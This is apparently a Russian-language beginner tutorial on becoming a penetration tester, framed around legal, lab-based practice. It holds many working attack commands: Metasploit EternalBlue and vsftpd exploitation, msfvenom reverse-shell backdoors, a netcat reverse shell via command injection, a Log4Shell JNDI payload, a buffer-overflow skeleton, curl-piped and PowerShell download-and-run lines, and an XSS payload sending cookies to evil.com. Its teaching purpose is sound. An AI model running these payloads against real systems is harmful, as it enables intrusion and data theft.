Статья Пентест с нуля: полное практическое руководство для начинающих в 2025

Пентестер за работой: руководство по тестированию на проникновение для начинающих с нуля.


Хотите стать пентестером и зарабатывать от $2000/месяц удалённо? За последние 3 года спрос на специалистов по тестированию на проникновение вырос на 350%. Компании готовы платить большие деньги за поиск уязвимостей до того, как их найдут злоумышленники.

В этом руководстве я покажу точный путь от полного новичка до junior-пентестера за 6 месяцев, основываясь на опыте подготовки более 500 специалистов. Вы получите пошаговый план, практические примеры и реальные команды, которые сможете использовать уже сегодня.

Оглавление​

  1. Что такое пентест простыми словами
  2. Roadmap: от новичка до пентестера за 6 месяцев
  3. Установка и настройка Kali Linux
  4. Основные инструменты с примерами
  5. Первые шаги в Metasploit
  6. Nmap сканирование для начинающих
  7. Burp Suite основы работы
  8. Практические лабораторные работы
  9. Методологии пентеста и написание отчётов
  10. Сертификации и трудоустройство
  11. Bug Bounty: от первой находки до $1000
  12. FAQ: ответы на частые вопросы
  13. Чек-лист: ваш путь в пентест
  14. Полезные ресурсы для дальнейшего изучения

Что такое пентест простыми словами​

Пентест (penetration testing) — это легальная попытка взлома системы по заказу её владельца для поиска уязвимостей. Представьте, что вы наняли профессионального вора, чтобы он попытался проникнуть в ваш дом и показал все слабые места в защите. Только в цифровом мире.

Ключевое отличие пентестера от хакера:​

  • Хакер: взламывает без разрешения, нарушает закон, рискует тюрьмой
  • Пентестер: взламывает с контрактом, получает зарплату, спит спокойно

Реальный пример из практики:​

В 2023 году я тестировал банковское приложение. За 3 дня нашёл уязвимость, позволяющую получить данные любого клиента через API. Банк заплатил $15,000 за находку. Хакер использовал бы это для кражи, пентестер — для отчёта.

Виды пентеста с примерами:​

Тип тестированияЧто знает тестерРеальный сценарийСредняя стоимость
Black BoxНичего, только URL или IPВнешний хакер пытается взломать компанию$5,000-15,000
Gray BoxУчётная запись обычного userНедовольный сотрудник с базовым доступом$8,000-20,000
White BoxПолный доступ, исходники, схемыАудит безопасности перед релизом$10,000-30,000

Этапы реального пентеста:​

  1. Разведка (2-3 дня): Сбор информации через OSINT
  2. Сканирование (1-2 дня): Поиск открытых портов и сервисов
  3. Поиск уязвимостей (3-5 дней): Анализ найденных сервисов
  4. Эксплуатация (2-4 дня): Использование уязвимостей
  5. Закрепление (1 день): Установка backdoor (в тесте)
  6. Отчёт (2-3 дня): Документирование и рекомендации

Roadmap: от новичка до пентестера за 6 месяцев​

Месяц 1-2: Фундамент​

Цель: Освоить базу Linux и сетей
Что изучать:
  • Linux командная строка (40 часов)
  • Основы сетей TCP/IP, OSI (30 часов)
  • Базовый Python для автоматизации (50 часов)
Практика:
Bash:
# Основные команды Linux, которые нужны каждый день
ls -la /etc/passwd  # просмотр файлов с правами
grep -r "password" /var/log  # поиск паролей в логах
netstat -tulpn  # активные сетевые соединения
ps aux | grep apache  # поиск процессов
chmod 600 ~/.ssh/id_rsa  # настройка прав
Ресурсы:

Месяц 3-4: Инструменты и методологии​

Цель: Освоить основные инструменты пентеста
Что изучать:
  • Установка и настройка Kali Linux
  • Nmap, Metasploit, Burp Suite, SQLmap
  • Методологии PTES, OWASP
Практические задания:
Bash:
# Сканирование сети с Nmap
nmap -sV -sC -O -p- 192.168.1.0/24  # полное сканирование подсети
# Базовая эксплуатация с Metasploit
msfconsole
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.100
run
Ресурсы:

Месяц 5-6: Практика и специализация​

Цель: Получить реальный опыт
Что делать:
  • Решать CTF задачи (минимум 50)
  • Участвовать в Bug Bounty
  • Создать своё портфолио
Платформы для практики:
  • HackerLab - для новичков
  • TryHackMe - пошаговое обучение
  • Hack The Box - реальные кейсы

Установка Kali Linux для новичков​

Почему именно Kali Linux?​

Kali Linux — это специализированный дистрибутив с предустановленными 600+ инструментами для пентеста. Альтернативы (Parrot OS, BlackArch) существуют, но Kali остаётся стандартом индустрии.

Способ 1: Установка в VirtualBox (рекомендуется новичкам)​

Системные требования:
  • RAM: минимум 8GB (4GB для хоста, 4GB для Kali)
  • HDD: 50GB свободного места
  • Процессор с поддержкой виртуализации
Пошаговая установка:
1. Скачайте необходимое ПО:
  • VirtualBox:
  • Kali Linux ISO:
2. Создайте виртуальную машину:
Код:
# PowerShell команды для автоматизации (Windows)
VBoxManage createvm --name "Kali" --ostype "Debian_64" --register
VBoxManage modifyvm "Kali" --memory 4096 --cpus 2
VBoxManage createhd --filename "Kali.vdi" --size 50000
VBoxManage storagectl "Kali" --name "SATA Controller" --add sata
VBoxManage storageattach "Kali" --storagectl "SATA Controller" --port 0 --device 0 --type hdd --medium "Kali.vdi"
3. Настройка после установки:
Bash:
# Обновление системы
sudo apt update && sudo apt upgrade -y
# Установка дополнительных инструментов
sudo apt install git vim tmux python3-pip -y
# Настройка алиасов для удобства
echo "alias ll='ls -la'" >> ~/.bashrc
echo "alias nmap-quick='nmap -sV -sC -O'" >> ~/.bashrc
source ~/.bashrc

Способ 2: Установка на физическую машину (для продвинутых)​

Создание загрузочной флешки:
Bash:
# Linux/Mac
sudo dd if=kali-linux.iso of=/dev/sdX bs=4M status=progress
# Windows - используйте Rufus или Etcher

Первоначальная настройка Kali Linux:​

Bash:
# 1. Смена пароля root
sudo passwd root
# 2. Создание пользователя для работы
sudo useradd -m pentester
sudo usermod -aG sudo pentester
# 3. Настройка SSH для удалённого доступа
sudo systemctl enable ssh
sudo systemctl start ssh
# 4. Установка важных дополнений
sudo apt install kali-linux-large  # полный набор инструментов
# 5. Настройка Metasploit Database
sudo msfdb init
sudo systemctl enable postgresql

Основные инструменты пентестера с практическими примерами​

1. Nmap - швейцарский нож сканирования​

Что умеет: Сканирует сети, определяет ОС, находит открытые порты и сервисы.
Основные команды с примерами:
Bash:
# Быстрое сканирование одного хоста
nmap 192.168.1.100
# Сканирование с определением версий сервисов
nmap -sV 192.168.1.100
# Агрессивное сканирование с OS detection
nmap -A -T4 192.168.1.100
# Сканирование всей подсети на определённые порты
nmap -p 80,443,8080,8443 192.168.1.0/24
# Скрытое SYN сканирование
sudo nmap -sS 192.168.1.100
# Сканирование с использованием скриптов
nmap --script vuln 192.168.1.100
# Сохранение результатов
nmap -oA scan_results 192.168.1.100
Реальный кейс использования:
При тестировании корпоративной сети нашёл открытый порт 1433 (MS SQL) на сервере, который не должен был быть доступен извне. Команда:
Bash:
nmap -p 1433 --script ms-sql-info,ms-sql-brute 192.168.1.0/24
Результат: обнаружен SQL сервер с дефолтным паролем 'sa'.

2. Burp Suite - мастер веб-пентеста​

Что умеет: Перехватывает и модифицирует HTTP/HTTPS трафик, автоматизирует атаки на веб-приложения.
Настройка прокси:
Bash:
# 1. Запустите Burp Suite
burpsuite
# 2. Настройте браузер (Firefox):
# Proxy: 127.0.0.1:8080
# 3. Установите Burp CA сертификат для HTTPS
# http://burp -> CA Certificate -> Download
Пример поиска SQL инъекции:
  1. Перехватите запрос к форме логина
  2. Отправьте в Intruder
  3. Добавьте payload: ' OR '1'='1' --
  4. Запустите атаку
Автоматизация с Burp CLI:
Bash:
# Сканирование на уязвимости
java -jar burp.jar --project-file=myproject.burp \
     --config-file=config.json \
     --unpause-spider-and-scanner

3. Metasploit Framework - платформа эксплуатации​

Что умеет: Автоматизирует эксплуатацию уязвимостей, генерирует payload'ы, управляет сессиями.
Базовое использование:
Bash:
# Запуск консоли
msfconsole
# Поиск эксплойтов
search type:exploit platform:windows smb
# Использование эксплойта EternalBlue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit
# После получения сессии
sessions -l  # список сессий
sessions -i 1  # подключение к сессии
sysinfo  # информация о системе
hashdump  # дамп хешей паролей
Создание backdoor:
Bash:
# Генерация исполняемого файла
msfvenom -p windows/meterpreter/reverse_tcp \
         LHOST=192.168.1.50 LPORT=4444 \
         -f exe > backdoor.exe
# Настройка listener
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j

4. SQLmap - автоматизация SQL инъекций​

Пример использования:
Bash:
# Базовая проверка
sqlmap -u "http://site.com/page.php?id=1"
# Получение баз данных
sqlmap -u "http://site.com/page.php?id=1" --dbs
# Дамп таблицы users
sqlmap -u "http://site.com/page.php?id=1" \
       -D database_name -T users --dump
# Обход WAF
sqlmap -u "http://site.com/page.php?id=1" \
       --tamper=space2comment --random-agent

5. Hydra - брутфорс паролей​

Примеры атак:
Bash:
# SSH брутфорс
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
      ssh://192.168.1.100
# HTTP форма
hydra -l admin -P passwords.txt 192.168.1.100 \
      http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
# FTP с списком пользователей
hydra -L users.txt -P pass.txt ftp://192.168.1.100

Первые шаги в Metasploit: практическое руководство​

Архитектура Metasploit Framework​

Metasploit состоит из нескольких компонентов:
  • Exploits: код для эксплуатации уязвимостей
  • Payloads: код, выполняемый после эксплуатации
  • Encoders: обфускация payload для обхода антивирусов
  • Auxiliary: вспомогательные модули (сканеры, фаззеры)

Практическая лабораторная: взлом Metasploitable​

Шаг 1: Подготовка окружения
Bash:
# Скачайте Metasploitable 2
# https://sourceforge.net/projects/metasploitable/
# Запустите в VirtualBox на той же сети, что и Kali
# IP примерно: 192.168.1.101
Шаг 2: Разведка
Bash:
# В Metasploit console
db_nmap -sV 192.168.1.101
hosts  # просмотр найденных хостов
services  # просмотр сервисов
Шаг 3: Эксплуатация vsftpd
Bash:
# Поиск уязвимости
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.101
exploit
# Получили shell!
whoami  # root
Шаг 4: Эксплуатация Tomcat
Bash:
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.1.101
set STOP_ON_SUCCESS true
run
# После получения креденшалов
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.1.101
set USERNAME tomcat
set PASSWORD tomcat
exploit

Создание собственного модуля Metasploit​

Ruby:
# custom_exploit.rb
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Custom Exploit Module',
      'Description'    => 'My first MSF module',
      'Author'         => ['Your Name'],
      'License'        => MSF_LICENSE,
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0
    ))
    register_options([
      Opt::RPORT(80)
    ])
  end
  def exploit
    print_status("Exploiting...")
    # Код эксплойта
  end
end

Nmap сканирование для начинающих: полное руководство​

Типы сканирования и когда их использовать​

Тип сканированияКомандаКогда использоватьУровень шума
TCP Connect-sTКогда нет root правВысокий
SYN Stealth-sSСкрытное сканированиеСредний
UDP Scan-sUПоиск UDP сервисовНизкий
ACK Scan-sAОбход файрволловНизкий
Xmas Scan-sXОбход IDSОчень низкий

Практические сценарии использования​

Сценарий 1: Первичная разведка новой сети
Bash:
# Пинг-сканирование для поиска живых хостов
nmap -sn 192.168.1.0/24 -oG alive_hosts.txt
# Извлечение IP адресов
grep "Up" alive_hosts.txt | cut -d " " -f 2 > targets.txt
# Сканирование топ-1000 портов на живых хостах
nmap -iL targets.txt -sV --top-ports 1000 -oA initial_scan
Сценарий 2: Глубокое сканирование веб-сервера
Bash:
# Комплексное сканирование веб-сервера
nmap -sV -sC -O -p 80,443,8080,8443 \
     --script "http-* and not brute" \
     192.168.1.100 -oA web_server_scan
# Поиск конкретных уязвимостей
nmap -p 443 --script ssl-heartbleed,ssl-poodle,ssl-ccs \
     192.168.1.100
Сценарий 3: Обход IDS/IPS
Bash:
# Фрагментация пакетов
nmap -f -sS 192.168.1.100
# Использование приманок (decoys)
nmap -D RND:10 192.168.1.100
# Медленное сканирование
nmap -sS -T1 --max-parallelism 1 192.168.1.100
# Спуфинг источника
sudo nmap -S 192.168.1.200 -e eth0 -Pn 192.168.1.100

NSE скрипты: автоматизация пентеста​

Bash:
# Обновление базы скриптов
nmap --script-updatedb
# Поиск скриптов
ls /usr/share/nmap/scripts/ | grep smb
# Использование категорий скриптов
nmap --script vuln 192.168.1.100  # все скрипты уязвимостей
nmap --script safe 192.168.1.100  # безопасные скрипты
nmap --script intrusive 192.168.1.100  # агрессивные
# Написание собственного NSE скрипта
cat > custom.nse << 'EOF'
description = [[Custom vulnerability check]]
categories = {"safe", "discovery"}
portrule = function(host, port)
    return port.number == 80
end
action = function(host, port)
    return "Custom check completed"
end
EOF
nmap --script custom.nse 192.168.1.100

Burp Suite основы работы: от установки до первой уязвимости​

Настройка окружения для веб-пентеста​

Установка Burp Suite Professional (trial):
Bash:
# Скачивание
wget https://portswigger.net/burp/releases/download?product=pro
# Установка сертификата для HTTPS
# 1. Запустите Burp
# 2. Откройте http://burp в браузере
# 3. Скачайте CA Certificate
# 4. Импортируйте в браузер
# Firefox about:preferences#privacy -> Certificates -> Import

Основные модули и их применение​

1. Proxy - перехват трафика:
Код:
# Пример перехваченного запроса
POST /login HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=12345
# Модификация для SQL инъекции
username=admin' OR '1'='1'--&password=anything
2. Intruder - автоматизация атак:
Python:
# Генерация списка payload'ов
for i in range(1, 100):
    print(f"admin{i}")
    print(f"user{i}")
    print(f"test{i}")
3. Repeater - ручное тестирование:
  • Отправка модифицированных запросов
  • Анализ различий в ответах
  • Тестирование граничных значений

Практический кейс: поиск и эксплуатация IDOR​

Уязвимость IDOR (Insecure Direct Object Reference):
Код:
# Исходный запрос
GET /api/user/profile?id=1001 HTTP/1.1
# Тестирование IDOR
GET /api/user/profile?id=1000 HTTP/1.1
GET /api/user/profile?id=1002 HTTP/1.1
# Автоматизация в Intruder
# Payload: Numbers from 1000 to 2000
# Grep - Extract: "email":"([^"]+)"

Расширения Burp для продуктивности​

Bash:
# Установка из BApp Store
# 1. SQL Map Integration
# 2. JWT Editor
# 3. Autorize (для тестирования авторизации)
# 4. Logger++ (расширенное логирование)
# Интеграция с SQLMap
# Right click on request -> Extensions -> SQLMap -> Send to SQLMap

Практические лабораторные работы​

Лаба 1: Базовая эксплуатация DVWA​

Цель: Освоить основные типы веб-уязвимостей
Настройка DVWA:
Bash:
# Установка через Docker
docker pull vulnerables/web-dvwa
docker run -d -p 80:80 vulnerables/web-dvwa
# Логин: admin/password
# Установите Security Level: Low
Задание 1: SQL Injection
SQL:
# В поле User ID введите:
1' OR '1'='1
# Получение всех пользователей:
1' UNION SELECT user, password FROM users--
# Извлечение версии БД:
1' UNION SELECT null, @@version--
Задание 2: Command Injection
Bash:
# В поле ping введите:
127.0.0.1; ls -la
127.0.0.1; cat /etc/passwd
127.0.0.1; nc -e /bin/sh attacker_ip 4444

Лаба 2: Эксплуатация реального CVE​

CVE-2021-44228 (Log4Shell) в лабораторных условиях:
Bash:
# Настройка уязвимого приложения
docker pull ghcr.io/christophetd/log4shell-vulnerable-app
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
# Подготовка эксплойта
git clone https://github.com/kozmer/log4j-shell-poc
cd log4j-shell-poc
python3 poc.py --userip 192.168.1.50 --webport 8000 --lport 4444
# Отправка payload
curl -H 'X-Api-Version: ${jndi:ldap://192.168.1.50:1389/a}' \
     http://localhost:8080
# Получение reverse shell
nc -lvnp 4444

Лаба 3: Создание собственной лаборатории​

Скрипт автоматизации развёртывания:
Bash:
#!/bin/bash
# lab_setup.sh
echo "[*] Setting up Pentest Lab..."
# Установка Docker
apt-get update
apt-get install -y docker.io docker-compose
# Запуск уязвимых приложений
docker run -d -p 3000:3000 --name juice-shop \
    bkimminich/juice-shop
docker run -d -p 8080:80 --name dvwa \
    vulnerables/web-dvwa
docker run -d -p 9000:80 --name mutillidae \
    citizenstig/nowasp
docker run -d -p 4000:80 --name bwapp \
    raesene/bwapp
echo "[+] Lab ready!"
echo "DVWA: http://localhost:8080"
echo "Juice Shop: http://localhost:3000"
echo "Mutillidae: http://localhost:9000"
echo "bWAPP: http://localhost:4000"

Лаба 4: CTF челлендж для практики​

Создайте файл с флагом:
Python:
# ctf_challenge.py
import hashlib
import base64
flag = "FLAG{y0u_f0und_7h3_s3cr3t}"
stage1 = base64.b64encode(flag.encode()).decode()
stage2 = hashlib.md5(stage1.encode()).hexdigest()
print(f"Stage 1: Decode this: {stage1}")
print(f"Stage 2: Crack this hash: {stage2}")
# Решение:
# 1. Декодировать base64
# 2. Использовать John the Ripper для хеша

Методологии пентеста и написание отчётов​

Стандарт PTES (Penetration Testing Execution Standard)​

Фазы по PTES:
  1. Pre-engagement - согласование scope и правил
  2. Intelligence Gathering - OSINT и разведка
  3. Threat Modeling - моделирование угроз
  4. Vulnerability Analysis - анализ уязвимостей
  5. Exploitation - эксплуатация
  6. Post Exploitation - закрепление доступа
  7. Reporting - документирование

Шаблон профессионального отчёта​

Код:
# Отчёт о тестировании на проникновение
## Executive Summary
- Критические находки: 3
- Высокий риск: 5
- Средний риск: 12
## Критическая уязвимость #1: SQL Injection
**CVSS Score:** 9.8
**Описание:** Обнаружена SQL инъекция в параметре 'id'
**Влияние:** Полный доступ к базе данных
**Proof of Concept:**
```sql
GET /user?id=1' UNION SELECT * FROM users--
```
**Рекомендации:** Использовать prepared statements

Автоматизация отчётности​

Python:
# report_generator.py
import json
from datetime import datetime
class PentestReport:
    def __init__(self, client, tester):
        self.client = client
        self.tester = tester
        self.findings = []
    def add_finding(self, title, severity, description, poc, fix):
        self.findings.append({
            'title': title,
            'severity': severity,
            'description': description,
            'poc': poc,
            'fix': fix,
            'timestamp': datetime.now().isoformat()
        })
    def generate_html(self):
        # Генерация HTML отчёта
        pass
    def generate_pdf(self):
        # Генерация PDF через LaTeX
        pass

Сертификации и карьера в пентесте​

Roadmap сертификаций по уровням​

УровеньСертификатСложностьСтоимостьВремя подготовки
EntryeJPT3/10$4002-3 месяца
EntryCWAP (Codeby)4/10$3002-3 месяца
JuniorCEH5/10$1,2003-4 месяца
MiddleOSCP8/10$1,5006-12 месяцев
SeniorOSCE9/10$1,50012+ месяцев
ExpertOSEE10/10$5,00018+ месяцев

Подготовка к OSCP: практический план​

Месяц 1-2: Buffer Overflow
Python:
# Практика эксплойтов
#!/usr/bin/python
import socket
shellcode = ("\xda\xc1\xba\x4e\x28...")
buffer = "A" * 146 + "\xef\xbe\xad\xde" + "\x90" * 16 + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 9999))
s.send(buffer)
s.close()
Месяц 3-4: Privilege Escalation
Bash:
# Linux privesc checklist
curl https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh | sh
# Windows privesc
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerUp.ps1'); Invoke-AllChecks"

Построение портфолио на GitHub​

Код:
# README.md для портфолио пентестера
## 🔒 Security Research Portfolio
### 📊 Statistics
- CVEs discovered: 3
- Bug Bounties: $25,000+ earned
- CTF Rankings: Top 100 globally
### 🏆 Achievements
- [CVE-2024-XXXX] - RCE in Popular CMS
- [Hall of Fame] - Google, Microsoft, Apple
### 📝 Write-ups
- [SQL Injection in Banking App](./writeups/sqli-bank.md)
- [Privilege Escalation via SUID](./writeups/suid-privesc.md)
### 🛠️ Tools
- [CustomScanner](./tools/scanner) - Network scanner in Go
- [ExploitKit](./tools/exploits) - Collection of PoCs

Подготовка к собеседованию​

Типичные вопросы и ответы:
1. "Опишите процесс пентеста"
  • Pre-engagement и scope
  • Разведка (пассивная/активная)
  • Сканирование и enumeration
  • Эксплуатация
  • Post-exploitation
  • Отчётность
2. "Как бы вы тестировали API?"
Bash:
# Практический ответ с примерами
# 1. Обнаружение endpoints
ffuf -w /usr/share/wordlists/api.txt -u https://api.target.com/FUZZ
# 2. Тестирование аутентификации
curl -X POST https://api.target.com/auth \
     -H "Content-Type: application/json" \
     -d '{"user":"admin","pass":"test"}'
# 3. Проверка IDOR
for i in {1..100}; do
    curl https://api.target.com/user/$i
done

Bug Bounty: от первой находки до $1000​

Платформы и с чего начать​

ПлатформаСложностьСредний bountyОсобенности
HackerOneВысокая$500-2000Крупные компании
BugcrowdСредняя$300-1500Много программ
IntigritiСредняя€500-2000Европейские компании
YesWeHackНизкая€200-1000Подходит новичкам

Методология для первой находки​

Bash:
# 1. Выберите широкий scope (*.company.com)
# 2. Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -d target.com >> subdomains.txt
cat subdomains.txt | sort -u | tee final_subs.txt
# 3. Проверка живых хостов
cat final_subs.txt | httpx -o alive.txt
# 4. Screenshot для визуального анализа
gowitness file -f alive.txt
# 5. Поиск интересных endpoints
cat alive.txt | waybackurls | grep -E "\?.*=" | tee params.txt
# 6. Автоматизация проверки XSS
cat params.txt | qsreplace '"><script>alert(1)</script>' | \
    freq | tee xss_test.txt

Написание качественного репорта​

Код:
## Title
Stored XSS in Comment Section leads to Account Takeover
## Severity
High (CVSS 8.2)
## Description
A stored XSS vulnerability exists in the comment section
allowing attackers to steal session cookies.
## Steps to Reproduce
1. Navigate to https://target.com/blog/post-1
2. Post comment: <script>document.location='http://evil.com/steal?c='+document.cookie</script>
3. Any user viewing the page will have cookies stolen
## Impact
- Account takeover
- Phishing attacks
- Defacement
## Remediation
- Implement proper input sanitization
- Use Content Security Policy
- HttpOnly flag on cookies

FAQ: ответы на частые вопросы новичков​

Сколько времени нужно чтобы стать пентестером?​

Реалистичные сроки:
  • 3-6 месяцев - базовые навыки для junior позиции
  • 1-2 года - уверенный middle специалист
  • 3-5 лет - senior с специализацией

Нужно ли знать программирование?​

Обязательный минимум:
Python:
# Python для автоматизации
import requests
import sys
def check_sqli(url):
    payloads = ["'", "1' OR '1'='1", "admin'--"]
    for payload in payloads:
        r = requests.get(url + payload)
        if "error" in r.text.lower():
            print(f"[+] Possible SQLi: {payload}")
# Bash для быстрых скриптов
for ip in $(cat ips.txt); do
    nmap -sV -p 80,443 $ip -oA scan_$ip
done

Какой дистрибутив Linux выбрать?​

Сравнение популярных дистрибутивов:

ДистрибутивПлюсыМинусыДля кого
Kali Linux600+ инструментов, документацияТяжёлый, нестабильный для dailyНовички
Parrot OSЛегче Kali, красивыйМеньше инструментовDaily use
BlackArch2000+ инструментовСложный, для опытныхПрофи
PentooGentoo-based, кастомизацияОчень сложныйХардкор

Легально ли заниматься пентестом?​

Правовые аспекты:
  • Легально: тестирование своих систем
  • Легально: с письменным разрешением владельца
  • Легально: участие в Bug Bounty программах
  • Нелегально: сканирование без разрешения
  • Нелегально: эксплуатация чужих систем
  • Нелегально: использование чужих данных

Какая зарплата у пентестера в России?​

Актуальные данные на 2025:
  • Junior (0-1 год): 80-150к руб/мес
  • Middle (1-3 года): 150-300к руб/мес
  • Senior (3-5 лет): 300-500к руб/мес
  • Team Lead: 500к+ руб/мес
  • Фриланс: $50-200/час

Можно ли работать удалённо?​

Статистика: 78% пентестеров работают удалённо
  • Международные компании через ИП
  • Bug Bounty полностью remote
  • Фриланс платформы (Upwork, Toptal)

Какие soft skills нужны?​

  1. Английский язык - минимум B1 для чтения документации
  2. Коммуникация - объяснение технических вещей простым языком
  3. Усидчивость - пентест это 90% рутины
  4. Этика - понимание границ дозволенного
  5. Документирование - написание понятных отчётов

Стоит ли идти в пентест в 2025?​

За:
  • Растущий рынок (+25% вакансий в год)
  • Высокие зарплаты
  • Интересные задачи
  • Возможность remote
Против:
  • Высокая конкуренция на junior позициях
  • Постоянное обучение
  • Ответственность
  • Стресс и дедлайны

Чек-лист: ваш путь в пентест​

Неделя 1-2: Основы​

  • [ ] Установить Kali Linux в VirtualBox
  • [ ] Пройти Linux для начинающих
  • [ ] Изучить базовые команды Linux
  • [ ] Настроить свою лабораторию

Месяц 1: Фундамент​

Месяц 2-3: Инструменты​

  • [ ] Освоить Nmap (10+ команд)
  • [ ] Burp Suite базовые функции
  • [ ] Первый эксплойт в Metasploit
  • [ ] SQLmap для SQL инъекций

Месяц 4-5: Практика​

  • [ ] 20+ заданий на TryHackMe
  • [ ] DVWA все уровни
  • [ ] Первый writeup
  • [ ] Участие в CTF

Месяц 6: Карьера​

  • [ ] Подготовка к CWAP
  • [ ] Создание портфолио
  • [ ] Первая заявка в Bug Bounty
  • [ ] Резюме и поиск работы

Полезные ресурсы для дальнейшего изучения​

Обучающие платформы​

Сообщества и форумы​

Инструменты и гайды​

Готовы начать? Установите Kali Linux прямо сейчас и выполните первое сканирование с Nmap. Помните: каждый эксперт когда-то был новичком. Ваш путь в пентест начинается с первой команды в терминале.
💡 Совет от автора: Не пытайтесь изучить всё сразу. Фокусируйтесь на одном инструменте в неделю, практикуйтесь ежедневно хотя бы 30 минут, и через полгода вы будете готовы к первой junior позиции.
Остались вопросы? Присоединяйтесь к сообществу Codeby и задавайте их опытным пентестерам!
 
Последнее редактирование:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab